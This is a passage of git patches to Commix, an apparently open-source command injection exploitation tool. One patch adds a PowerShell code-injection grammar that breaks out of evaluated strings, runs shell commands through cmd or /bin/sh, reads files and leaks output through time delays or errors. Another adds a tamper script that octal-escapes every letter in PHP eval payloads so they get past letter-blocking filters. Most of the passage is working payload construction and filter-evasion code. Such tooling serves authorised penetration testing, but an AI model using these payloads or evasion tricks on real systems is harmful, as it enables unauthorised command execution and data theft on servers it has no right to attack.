"!="} + # What ends a statement, where the boundary being tested can carry one. TERMINATOR = ";" diff --git a/src/core/eval/grammars/php.py b/src/core/eval/grammars/php.py index 4881387f71..cc6cc90a31 100644 --- a/src/core/eval/grammars/php.py +++ b/src/core/eval/grammars/php.py @@ -132,6 +132,9 @@ def halt(condition): def sequence(first, second): return first + "." + second +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + # What ends a statement, where the boundary being tested can carry one. TERMINATOR = ";" diff --git a/src/core/eval/grammars/powershell.py b/src/core/eval/grammars/powershell.py new file mode 100644 index 0000000000..820fe29c2b --- /dev/null +++ b/src/core/eval/grammars/powershell.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +NAME = "powershell" + +# The same name as it is written out to the user, where the switch's own spelling would read wrong. +LABEL = "PowerShell" + +""" +An expression whose value says at once that code was evaluated, and which build evaluated it. + +PSEdition tells apart the two families a version number alone would not: 'Desktop' is Windows +PowerShell (5.1, ships built into Windows itself), 'Core' is the cross-platform successor (6+, an +optional install anywhere including Linux and macOS) - the version alone repeats across both. +""" +PROBE = "$PSVersionTable.PSVersion.ToString()+$PSVersionTable.PSEdition" + +# The probe on its own, and coerced to a string where the bare expression is not rendered as one. +PROBE_FUNCTIONS = ["" + PROBE + "", + "[string](" + PROBE + ")", + "(" + PROBE + ").ToString()" +] + +# The same probes broken into the string being evaluated, one boundary per row - each row pairing a +# prefix with the suffix that closes it, the way the boundaries below are paired. +PROBE_PAYLOADS = [ + [x for x in PROBE_FUNCTIONS], + ["+" + x for x in PROBE_FUNCTIONS], + ["'+" + x + "+'" for x in PROBE_FUNCTIONS], + ["\"+" + x + "+\"" for x in PROBE_FUNCTIONS], + ["')+" + x + "+('" for x in PROBE_FUNCTIONS] +] + +PROBE_PAYLOADS = [x for payload in PROBE_PAYLOADS for x in payload] + +# What the probe's own value looks like coming back, and the complaints that say a payload reached +# an evaluated string even where nothing was rendered. The version itself is three parts on the +# cross-platform build and four on Windows PowerShell's own (5.1.19041.1682), so the last is optional. +PROBE_REGEX = r"(\d+\.\d+\.\d+(?:\.\d+)?)(?:Core|Desktop)" +WARNINGS = ["ParserError", "CommandNotFoundException", "is not recognized as the name of a cmdlet", + "term is not recognized"] + +""" +The language's own callables that run a command, widest first as the level rises. + +Each is written as a bare name a payload can wrap in a call - none of them is how this grammar's own +'run()' actually reaches a command, which shells out directly rather than asking PowerShell's own +parser to read a foreign shell's syntax as if it were PowerShell's. +""" +EXECUTION_FUNCTIONS_LVL1 = ["Invoke-Expression", "iex"] +EXECUTION_FUNCTIONS_LVL2 = EXECUTION_FUNCTIONS_LVL1 + ["Invoke-Command"] +EXECUTION_FUNCTIONS_LVL3 = EXECUTION_FUNCTIONS_LVL2 + ["Start-Process"] + +# Breaking out of the evaluated string, and closing it again behind the payload. +SEPARATORS_LVL1 = [""] +SEPARATORS_LVL2 = SEPARATORS_LVL1 + ["\n"] +SEPARATORS_LVL3 = SEPARATORS_LVL2 + ["\r\n"] + +# The whole value as the expression, concatenation onto a value that is already one, and +# concatenation out of a quoted string the value sits inside. +PREFIXES_LVL1 = ["", "+", "'+", "\"+"] +# Closing a call the value sits inside, and a further argument to one. +PREFIXES_LVL2 = PREFIXES_LVL1 + ["')+", "\")+", "',", "\","] +# Ending the statement outright, where the sink runs statements rather than an expression. +PREFIXES_LVL3 = PREFIXES_LVL2 + ["';", "\";", ";", ")", "']", "\"]", "'}", "\"}"] + +SUFFIXES_LVL1 = ["", "+'", "+\""] +# Closing the call again, and commenting out whatever the application appends behind it. +SUFFIXES_LVL2 = SUFFIXES_LVL1 + ["+('", "+(\"", "#"] +SUFFIXES_LVL3 = SUFFIXES_LVL2 + ["'#", "\"#", ")#", "]#", "}#", ",'", ",\""] + +# How one of the functions above is reached, as a prefix a payload is wrapped in. +def execution_prefix(function): + return function + "(" + +""" +Wrap the shell commands a payload runs in what this language renders them with. + +There is no statement here that writes to the response the way another language's print does: what +the application renders is the value of the expression it evaluated, so the commands' output is +concatenated and handed back as that value. +""" +def print_statement(separator, commands, chain=None): + if separator == "": + return "+".join(run(command) for command in commands) + return run((chain or separator).join(commands)) + +""" +The expressions every payload is built out of, spelled the way this language spells them. + +What a technique asks of a sink is the same whichever language is evaluating: run this, tell me how +long the answer is, tell me its Nth byte, wait this long if the answer is yes. Only the spelling +differs - so the techniques ask through the names below, and a language is added by writing them +again rather than by touching a payload. +""" + +# A single-quoted string literal holding the given text - the one quote it needs escaped by +# doubling, and nothing else: unlike a double-quoted string here, it reads no backslash or '$' as +# anything other than itself, which is exactly what a foreign shell's own command line is full of. +def _literal(text): + return "'" + text.replace("'", "''") + "'" + +""" +Run a command and yield its output. + +'Invoke-Expression' reads a string as PowerShell's own syntax, not as a pass-through to whatever +shell the target's default one is - unlike another language's backtick or 'popen', which hand a +string to that shell however it is written. A command built for that other shell (cmd.exe's +'for /f' loops, or a POSIX one's '$(...)') is asked of it directly here instead. +""" +def run(cmd): + from src.utils import settings + if settings.TARGET_OS == settings.OS.WINDOWS: + return "((cmd /c " + _literal(cmd) + " 2>&1) | Out-String)" + return "((/bin/sh -c " + _literal(cmd) + " 2>&1) | Out-String)" + +# Read a file and yield its contents. +def read_file(path): + return "[IO.File]::ReadAllText(" + _literal(path) + ")" + +# Drop trailing whitespace, so a length agrees with what a shell's own substitution would report. +def trim(expr): + return "(" + expr + ").TrimEnd()" + +# How many bytes an expression is. +def length(expr): + return "(" + expr + ").Length" + +""" +The ordinal of an expression's Nth byte, counting from zero. + +Indexing a string past its end answers '$null' here rather than raising, and '[int]$null' is 0 - the +same "nothing there" answer every other language's grammar gives for the same case, reached for free +rather than built. +""" +def ordinal(expr, index): + return "[int](" + expr + ")[" + str(index) + "]" + +# An expression's value read as a number, for a command whose output is one - '[int]""' is 0 for the +# same reason the line above needs nothing extra either. +def to_number(expr): + return "[int](" + expr + ")" + +""" +Wait for as long as the condition is true, and no time at all when it is false. + +'Start-Sleep' is a statement, not an expression, so it cannot sit inside the ternary Windows +PowerShell (5.1) does not have - '$(if (...) { ... } else { ... })' is the substitute every version +back to that one reads: a subexpression whose value is whatever its last statement's was. +""" +def delay(timesec, condition): + return "$(if (" + condition + ") { Start-Sleep " + str(timesec) + " } else { 0 })" + +""" +Stop the page where the condition does not hold, so what comes back says which it was. + +'throw' is a statement too, reached the same way as the delay above. Uncaught, it unwinds the +current pipeline rather than the whole process - the same "this response differs from a satisfied +condition's" signal every other language's grammar reaches for here, without a long-running host +process paying for it the way one asked to exit outright would. +""" +def halt(condition): + # Empty string rather than a number: the value is spliced into whatever the target was building, + # and only a string leaves that expression intact for the page to render as it normally would. + return "$(if (" + condition + ") { '' } else { throw 'x' })" + +""" +Evaluate one expression and then another, within a single expression. + +An array of the two, indexed for the second: PowerShell's ',' builds one eagerly, evaluating both +elements to construct it, so the first still runs for what it does rather than for what it returns. +""" +def sequence(first, second): + return "(" + first + "," + second + ")[1]" + +""" +The shell's comparison operators, as this language spells them - almost unchanged, since PowerShell +already spells its own the same way a POSIX 'test' does, not with another language's symbols. A +symbolic operator like '==' needs no space around it to still read as one word to its neighbours; +a worded one like '-eq' does, and a caller that concatenates the pieces with none of its own is why +each is given its own here rather than trusted to arrive already surrounded by some. +""" +COMPARISON = {"-le": " -le ", "-ge": " -ge ", "-lt": " -lt ", "-gt": " -gt ", "-eq": " -eq ", "-ne": " -ne "} + +# What ends a statement, where the boundary being tested can carry one. +TERMINATOR = ";" + +# eof diff --git a/src/core/eval/grammars/python.py b/src/core/eval/grammars/python.py index f01c60fd13..dc418c917d 100644 --- a/src/core/eval/grammars/python.py +++ b/src/core/eval/grammars/python.py @@ -185,6 +185,9 @@ def halt(condition): def sequence(first, second): return "(" + first + "," + second + ")[1]" +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + # What ends a statement, where the boundary being tested can carry one. TERMINATOR = ";" diff --git a/src/core/eval/grammars/ruby.py b/src/core/eval/grammars/ruby.py index 65ff2edc58..e1e0cc7636 100644 --- a/src/core/eval/grammars/ruby.py +++ b/src/core/eval/grammars/ruby.py @@ -159,6 +159,9 @@ def halt(condition): def sequence(first, second): return first + "+" + second +# The shell's comparison operators, as this language spells them. +COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} + # What ends a statement, where the boundary being tested can carry one. TERMINATOR = ";" diff --git a/src/core/eval/payloads/boolean_based.py b/src/core/eval/payloads/boolean_based.py index 745e7d69aa..d72bd7003a 100644 --- a/src/core/eval/payloads/boolean_based.py +++ b/src/core/eval/payloads/boolean_based.py @@ -23,12 +23,9 @@ def _output(cmd): def _end(separator): return settings.EVAL_GRAMMAR.TERMINATOR if separator else "" -# The shell's comparison operators, as the languages being evaluated spell them. -COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} - # Stated in the shell's spelling by every caller, so it is rewritten into the language's here. def _as_expression(condition): - for shell_operator, operator in COMPARISON.items(): + for shell_operator, operator in settings.EVAL_GRAMMAR.COMPARISON.items(): condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) return condition @@ -36,14 +33,15 @@ def _as_expression(condition): A question whose answer is known, for telling a target that answers at all from one that does not. """ def condition_check(separator, holds=True): - return settings.EVAL_GRAMMAR.halt("1==" + ("1" if holds else "2")) + _end(separator) + condition = "1" + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + ("1" if holds else "2") + return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) """ The decision payload, which asks the target to print something unguessable and measure it. """ def decision(separator, TAG, output_length, holds=True): expected = str(output_length if holds else output_length + 1) - condition = settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + "==" + expected + condition = settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + expected return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) """ @@ -51,7 +49,7 @@ def decision(separator, TAG, output_length, holds=True): """ def get_length(separator, cmd, candidate_length, operator="-eq"): settings.USER_APPLIED_CMD = cmd - condition = settings.EVAL_GRAMMAR.length(_output(cmd)) + COMPARISON.get(operator, "==") + str(candidate_length) + condition = settings.EVAL_GRAMMAR.length(_output(cmd)) + settings.EVAL_GRAMMAR.COMPARISON[operator] + str(candidate_length) return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) """ @@ -60,7 +58,7 @@ def get_length(separator, cmd, candidate_length, operator="-eq"): def get_char(separator, cmd, num_of_chars, ascii_char, operator="-le"): settings.USER_APPLIED_CMD = cmd # Counted from zero by the grammar, and from one by every technique that asks. - condition = str(ascii_char) + COMPARISON.get(operator, "<=") + settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) # eof diff --git a/src/core/eval/payloads/tempfile_based.py b/src/core/eval/payloads/tempfile_based.py index f923bb05b5..3a60d22472 100644 --- a/src/core/eval/payloads/tempfile_based.py +++ b/src/core/eval/payloads/tempfile_based.py @@ -48,14 +48,11 @@ def _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, operator): return settings.EVAL_GRAMMAR.sequence(_write(cmd, OUTPUT_TEXTFILE), _conditional_sleep(condition, timesec, separator)) -# The shell's comparison operators, as the language being evaluated spells them. -COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} - """ Tempfile-based decision payload (check if host is vulnerable). """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): - return _write_and_measure("echo " + TAG, j, OUTPUT_TEXTFILE, timesec, separator, "==") + return _write_and_measure("echo " + TAG, j, OUTPUT_TEXTFILE, timesec, separator, settings.EVAL_GRAMMAR.COMPARISON["-eq"]) """ __Warning__: The alternative shells are still experimental. @@ -71,9 +68,9 @@ def condition_check(separator, condition, timesec, http_request_method): condition = condition.strip() if condition.startswith("-s "): # Read the way the contents are read anywhere else here, so no quote has to survive a boundary. - condition = settings.EVAL_GRAMMAR.length(_contents(condition[3:].strip())) + ">0" + condition = settings.EVAL_GRAMMAR.length(_contents(condition[3:].strip())) + settings.EVAL_GRAMMAR.COMPARISON["-gt"] + "0" else: - for shell_operator, operator in COMPARISON.items(): + for shell_operator, operator in settings.EVAL_GRAMMAR.COMPARISON.items(): condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) return _conditional_sleep(condition, timesec, separator) @@ -89,7 +86,7 @@ def windows_condition_check(separator, expr, expected, timesec): """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method, operator="-le"): settings.USER_APPLIED_CMD = cmd - return _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, COMPARISON.get(operator, "<=")) + return _write_and_measure(cmd, j, OUTPUT_TEXTFILE, timesec, separator, settings.EVAL_GRAMMAR.COMPARISON[operator]) """ __Warning__: The alternative shells are still experimental. @@ -104,7 +101,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http # The guess stays left of the operator, as it does elsewhere: the search reads the answer as "the # byte is at or above this", and an operand order of its own would send it into the wrong half. ordinal = settings.EVAL_GRAMMAR.ordinal(_contents(OUTPUT_TEXTFILE), num_of_chars - 1) - return _conditional_sleep(str(ascii_char) + COMPARISON.get(operator, "<=") + ordinal, timesec, separator) + return _conditional_sleep(str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + ordinal, timesec, separator) """ __Warning__: The alternative shells are still experimental. @@ -119,7 +116,7 @@ def get_char_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_c been - so the contents are read as a number rather than indexed for the ordinal of a byte. """ def fp_result_alter_interpreter(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): - condition = str(ascii_char) + "==" + settings.EVAL_GRAMMAR.to_number(_contents(OUTPUT_TEXTFILE)) + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + settings.EVAL_GRAMMAR.to_number(_contents(OUTPUT_TEXTFILE)) return _conditional_sleep(condition, timesec, separator) """ @@ -150,7 +147,7 @@ def oracle_write(separator, cmd, OUTPUT_TEXTFILE): """ def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): expected = str(output_length if holds else output_length + 1) - condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + "==" + expected + condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + expected payload = settings.EVAL_GRAMMAR.sequence(_write("echo " + TAG, OUTPUT_TEXTFILE), settings.EVAL_GRAMMAR.halt(condition)) return payload + _end(separator) @@ -159,7 +156,7 @@ def oracle_decision(separator, TAG, output_length, OUTPUT_TEXTFILE, holds=True): length rather than the command's, read without running the command again. """ def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-ge"): - condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + COMPARISON.get(operator, ">=") + str(candidate_length) + condition = settings.EVAL_GRAMMAR.length(_contents(OUTPUT_TEXTFILE)) + settings.EVAL_GRAMMAR.COMPARISON[operator] + str(candidate_length) return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) """ @@ -168,7 +165,7 @@ def oracle_get_length(separator, OUTPUT_TEXTFILE, candidate_length, operator="-g """ def oracle_get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, operator="-le"): ordinal = settings.EVAL_GRAMMAR.ordinal(_contents(OUTPUT_TEXTFILE), num_of_chars - 1) - condition = str(ascii_char) + COMPARISON.get(operator, "<=") + ordinal + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + ordinal return settings.EVAL_GRAMMAR.halt(condition) + _end(separator) # eof diff --git a/src/core/eval/payloads/time_based.py b/src/core/eval/payloads/time_based.py index b39d8bc572..d0cc775c77 100644 --- a/src/core/eval/payloads/time_based.py +++ b/src/core/eval/payloads/time_based.py @@ -38,14 +38,11 @@ def _conditional_sleep(condition, timesec, separator): # Whole seconds: the delay is counted in them, and a fractional one only reads as noise. return settings.EVAL_GRAMMAR.delay(int(timesec), condition) + _end(separator) -# The shell's comparison operators, as the languages being evaluated spell them. -COMPARISON = {"-le": "<=", "-ge": ">=", "-lt": "<", "-gt": ">", "-eq": "==", "-ne": "!="} - """ Time-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, output_length, timesec, http_request_method): - condition = str(output_length) + "==" + settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) + condition = str(output_length) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + settings.EVAL_GRAMMAR.length(_output("echo " + TAG)) return _conditional_sleep(condition, timesec, separator) """ @@ -59,7 +56,7 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ """ def condition_check(separator, condition, timesec, http_request_method): # Stated in the shell's spelling, as every other technique states it, so it is rewritten first. - for shell_operator, operator in COMPARISON.items(): + for shell_operator, operator in settings.EVAL_GRAMMAR.COMPARISON.items(): condition = condition.replace(settings.SINGLE_WHITESPACE + shell_operator + settings.SINGLE_WHITESPACE, operator) return _conditional_sleep(condition, timesec, separator) @@ -68,7 +65,7 @@ def condition_check(separator, condition, timesec, http_request_method): """ def get_length(separator, cmd, candidate_length, timesec, http_request_method): settings.USER_APPLIED_CMD = cmd - condition = str(candidate_length) + "<=" + settings.EVAL_GRAMMAR.length(_output(cmd)) + condition = str(candidate_length) + settings.EVAL_GRAMMAR.COMPARISON["-le"] + settings.EVAL_GRAMMAR.length(_output(cmd)) return _conditional_sleep(condition, timesec, separator) """ @@ -84,7 +81,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met # The guess stays left of the operator, as it does elsewhere: the search reads the answer as "the # byte is at or above this", and an operand order of its own would send it into the wrong half. ordinal = settings.EVAL_GRAMMAR.ordinal(_output(cmd), num_of_chars - 1) - return _conditional_sleep(str(ascii_char) + COMPARISON.get(operator, "<=") + ordinal, timesec, separator) + return _conditional_sleep(str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON[operator] + ordinal, timesec, separator) """ __Warning__: The alternative shells are still experimental. @@ -97,7 +94,7 @@ def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): settings.USER_APPLIED_CMD = cmd - condition = str(output_length) + "<=" + settings.EVAL_GRAMMAR.length(_output(cmd)) + condition = str(output_length) + settings.EVAL_GRAMMAR.COMPARISON["-le"] + settings.EVAL_GRAMMAR.length(_output(cmd)) return _conditional_sleep(condition, timesec, separator) """ @@ -114,7 +111,7 @@ def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http byte of it. Asked the other way, the digit '5' answers 53 and no candidate ever matches. """ def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): - condition = str(ascii_char) + "==" + settings.EVAL_GRAMMAR.to_number(_output(cmd)) + condition = str(ascii_char) + settings.EVAL_GRAMMAR.COMPARISON["-eq"] + settings.EVAL_GRAMMAR.to_number(_output(cmd)) return _conditional_sleep(condition, timesec, separator) # eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 704f07054e..e2f15284f5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "188" +REVISION = "189" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1061,9 +1061,7 @@ def single_whitespace_for(data=None): '--eval' and '--interpreter' both take a language, so both read the same table - naming one of them 'py' should not be an error where naming it 'python' is not. """ -LANGUAGE_ALIASES = {"py": "python", "python2": "python", "python3": "python", "php7": "php", - "php8": "php", "pl": "perl", "rb": "ruby", "js": "javascript", - "node": "javascript", "nodejs": "javascript"} +LANGUAGE_ALIASES = {"py": "python", "pl": "perl", "rb": "ruby", "js": "javascript", "ps": "powershell"} # The name a language was given by, resolved to the one commix knows it as. def resolve_language(name): From a13f2636b582acd138b46c36f526e946e35001b3 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 5 Oct 2026 08:36:51 +0300 Subject: [PATCH 0861/1023] Added mew tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes --- doc/CHANGELOG.md | 1 + src/tamper/phpnoletters.py | 174 +++++++++++++++++++++++++++++++++++++ src/utils/settings.py | 5 +- 3 files changed, 179 insertions(+), 1 deletion(-) create mode 100644 src/tamper/phpnoletters.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index ad104819a1..560811b47c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: New tamper script "phpnoletters.py", that runs `--eval=php` payloads with no ASCII letter in them, reaching PHP's own execution functions through a name built from octal escapes. * Added: Support for PowerShell code injection through the `--eval=powershell` language. * Added: Support for Node code injection through the `--eval=javascript` language. * Added: Support for Ruby code injection through the `--eval=ruby` language. diff --git a/src/tamper/phpnoletters.py b/src/tamper/phpnoletters.py new file mode 100644 index 0000000000..ceafb8a840 --- /dev/null +++ b/src/tamper/phpnoletters.py @@ -0,0 +1,174 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import re +from src.utils import settings +from src.core.controller import checks + +r""" +About: Runs the command without a single a-z/A-Z character reaching the target, by octal-escaping every letter the payload needs and calling functions by a name built that way. +Notes: This tamper script works against target(s) rejecting any letter in the evaluated string before it is evaluated (i.e. option '--eval=php'), since PHP decodes a double-quoted or backtick string's own '\NNN' octal escapes only once that check has already passed. 'print' and 'eval' are language constructs rather than functions, so nothing dynamic can call them by name - the wrapper classic.py's payloads put around a result is rebuilt through 'printf' instead, but one of the probe's own boundaries calls 'eval' by that literal name and is not covered. +References: [1] https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/ +""" + +""" +Two different calls are hidden two different ways below. An execution function is run only for what +it does - its own return value is never read - so hiding it behind '&&' costs nothing: PHP short- +circuits into the call, and what '&&' itself evaluates to is thrown away regardless. 'rtrim'/'strlen'/ +'ord'/'substr'/'intval' are read for what they answer, feeding a comparison or another call the same +way the un-hidden call would have - and '&&' answers only true or false, never the value either side +of it held. Hiding one of those behind '&&' silently replaces "did this string have length 6" with +"did the call succeed", which reads the same on every length at once. An array literal is built and +indexed instead: '[$_1=name,$_1(args)][1]' still hides the name (and, as an expression, sits wherever +a value can) but the second element is the call's own answer, not '&&'s. +""" + +__tamper__ = "phpnoletters" +__priority__ = settings.PRIORITY.HIGH + +# Why this script cannot be applied to the target at hand, or nothing where it can. +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "php") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Every ASCII letter as the octal escape a double-quoted (or backtick) string decodes back into it, +# leaving no letter of its own in the payload - a literal backslash is doubled so it still reads as +# one, and a literal '%' is hidden the same way since it reads as the start of a URL escape of its +# own once the payload is sent, letter or not. +def _hide_letters(text): + hidden = [] + for char in text: + if char == "\\": + hidden.append("\\\\") + elif char == "%" or (char.isalpha() and ord(char) < 128): + hidden.append("\\%03o" % ord(char)) + else: + hidden.append(char) + return "".join(hidden) + +""" +Calling a function by a name built the same way, so naming the function this reaches costs no +letter either - assignment reads as an expression here, so this sits anywhere a value can. +""" +_CALL_USER_FUNC = "\"" + _hide_letters("call_user_func") + "\"" +_CALL_PREFIX = "($_1=" + _CALL_USER_FUNC + ")&&$_1(" + +# The probe and the execution functions - run for what they do, never read for what they answer. +_EXEC_NAMES = list(settings.EXECUTION_FUNCTIONS_LVL3) + ["phpinfo", "sleep"] + +# The real functions the other techniques' own helpers (trim/length/ordinal/to_number) are built +# from - read for what they answer, so hiding one has to answer with the same value it hid. +_VALUE_NAMES = ["rtrim", "strlen", "ord", "substr", "intval"] + +# Run one of the execution names through the letter-free call, its own arguments and closing +# bracket left exactly where they were - no comma before them where the call took none of its own, +# since this PHP still parses a trailing comma in a call as an error rather than an empty argument. +def _hide_call(name, has_args): + return _CALL_PREFIX + "\"" + _hide_letters(name) + "\"" + ("," if has_args else "") + +""" +The closing bracket that balances the one at 'open_index', a backtick-run command's own '(' and ')' +skipped rather than counted - those are shell syntax sitting in a string token, not PHP nesting. +""" +def _matching_paren(text, open_index): + depth, in_backtick, i = 0, False, open_index + while i < len(text): + char = text[i] + if char == "`": + in_backtick = not in_backtick + elif not in_backtick: + if char == "(": + depth += 1 + elif char == ")": + depth -= 1 + if depth == 0: + return i + i += 1 + return -1 + +""" +Run one of the value-producing names above through the letter-free call, its answer read back out +of the array it was written into rather than thrown away the way '&&' would. The whole call - not +just where it opens - has to be found and replaced in one piece, since the array literal closes +around the end of it as much as the name is hidden at the start. +""" +def _hide_value_calls(payload, name): + pattern = re.compile(r"(?<![\w\\])" + re.escape(name) + r"\(") + pieces, pos = [], 0 + while True: + match = pattern.search(payload, pos) + if not match: + pieces.append(payload[pos:]) + break + open_paren = match.end() - 1 + close_paren = _matching_paren(payload, open_paren) + if close_paren == -1: + pieces.append(payload[pos:]) + break + pieces.append(payload[pos:match.start()]) + args = payload[open_paren + 1:close_paren] + pieces.append("[$_1=" + _CALL_USER_FUNC + ",$_1(\"" + _hide_letters(name) + "\"" + + ("," if args else "") + args + ")][1]") + pos = close_paren + 1 + return "".join(pieces) + +# 'print(...)' is classic.py's own wrapper, not something the target ever chose - rebuilt through +# 'printf' since 'print' cannot be reached by name the way a real function can, wherever in the +# boundary-wrapped payload it sits. A stray trailing ';' left behind it is a harmless empty statement, +# and the one true statement a bare, unwrapped sink needs its payload to end on. +def _hide_print(payload): + start = payload.find("print(") + if start == -1 or (start > 0 and (payload[start - 1].isalnum() or payload[start - 1] in "_\\")): + return payload + open_paren = start + len("print") + close_paren = _matching_paren(payload, open_paren) + if close_paren == -1: + return payload + inner = payload[open_paren + 1:close_paren] + replacement = _CALL_PREFIX + "\"" + _hide_letters("printf") + "\",\"" + _hide_letters("%s") + "\"," + inner + ");" + return payload[:start] + replacement + payload[close_paren + 1:] + +""" +halt()'s 'exit()' is a language construct, not a function - nothing dynamic can call it, and a +fatal error in its place (trigger_error() at E_USER_ERROR, say) answers with an HTTP 500 rather +than stopping output where 'exit()' would have - and commix's own request layer reads a 500 as the +request having failed outright, never handing the boolean-based oracle a page to compare at all, +true or false alike. The ternary this sits in already answers "" for true, so answering any +different, fixed, letter-free value for false - no call, no halt, ordinary 200 either way - is a +value the oracle can compare exactly the way it compares everything else it is asked about. +""" +_HALT_REPLACEMENT = "9256" + +# Hide every letter left inside a backtick-run shell command, the punctuation around it untouched. +def _hide_backtick(match): + return "`" + _hide_letters(match.group(1)) + "`" + +def tamper(payload): + for name in _EXEC_NAMES: + # Only where the name opens a call of its own, so a longer name carrying a shorter one is not + # rewritten from the middle - and the call's own closing bracket still closes the new one. + pattern = r"(?<![\w\\])" + re.escape(name) + r"\(" + payload = re.sub(pattern, + lambda match, name=name: _hide_call(name, match.string[match.end():match.end() + 1] != ")"), + payload) + for name in _VALUE_NAMES: + payload = _hide_value_calls(payload, name) + payload = payload.replace("exit()", _HALT_REPLACEMENT) + payload = _hide_print(payload) + return re.sub(r"`([^`]*)`", _hide_backtick, payload) + +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index e2f15284f5..23b52653a4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -405,7 +405,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "189" +REVISION = "190" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1753,6 +1753,7 @@ class AUTH_TYPE(object): "sleep2ping": False, "phphexname": False, "phpconcat": False, + "phpnoletters": False, "pyhexname": False, "xforwardedfor": False, "dollaratsigns": False, @@ -1856,6 +1857,8 @@ class PRIORITY(object): # Both name the same function in the same call, so the second finds the name of # the first already broken up and has nothing left to rewrite. ("phphexname", "phpconcat"), + ("phphexname", "phpnoletters"), + ("phpconcat", "phpnoletters"), # All three replace the user's command outright, so only one of them can have it. ("cmd2wildcard", "rev"), ("cmd2wildcard", "randomcase"), From 93d49fac70c5880dd1eeaa91bc238dff13cdda65 Mon Sep 17 